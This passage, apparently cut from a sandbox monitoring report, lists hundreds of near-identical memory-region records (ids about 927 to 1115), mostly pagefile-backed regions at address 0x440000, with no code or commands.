end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 927 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 928 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 929 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 930 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 931 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 932 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 933 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 934 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 935 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 936 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 937 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 938 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 939 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 940 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 941 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 942 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 943 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 944 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 945 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 946 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 947 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 948 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 949 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 950 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 951 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 952 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 953 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 954 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 955 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 956 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 957 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 958 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 959 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 960 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 961 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 962 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 963 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 964 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 965 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 966 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 967 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 968 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 969 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 970 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 971 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 972 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 973 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 974 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 975 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 976 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 977 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 978 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 979 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 980 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 981 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 982 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 983 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 984 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 985 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 986 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 987 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 988 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 989 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 990 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 991 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 992 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 993 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 994 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 995 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 996 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 997 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 998 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 999 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1000 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1001 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1002 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1003 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1004 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1005 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1006 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1007 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1008 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1009 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1010 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1011 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1012 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1013 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1014 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1015 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1016 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1017 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1018 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1019 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1020 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1021 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1022 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1023 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1024 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1025 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1026 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1027 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1028 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1029 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1030 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1031 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1032 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1033 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1034 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1035 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1036 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1037 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1038 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1039 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1040 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1041 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1042 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1043 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1044 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1045 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1046 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1047 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1048 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1049 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1050 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1051 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1052 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1053 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1054 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1055 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1056 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1057 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1058 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1059 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1060 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1061 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1062 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1064 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1065 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1066 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1067 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1068 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1069 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1070 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1071 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1072 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1073 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1074 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1075 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1076 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1077 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1078 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1079 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1080 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1081 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1082 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1083 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1084 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1085 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1086 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1087 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1088 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1089 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1090 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1091 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1092 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1093 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1094 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1095 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1096 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1097 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1098 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1099 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1100 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1101 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1102 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1103 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1104 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1105 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1106 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1107 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1108 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1109 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1110 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1111 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1112 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1113 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1114 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1115 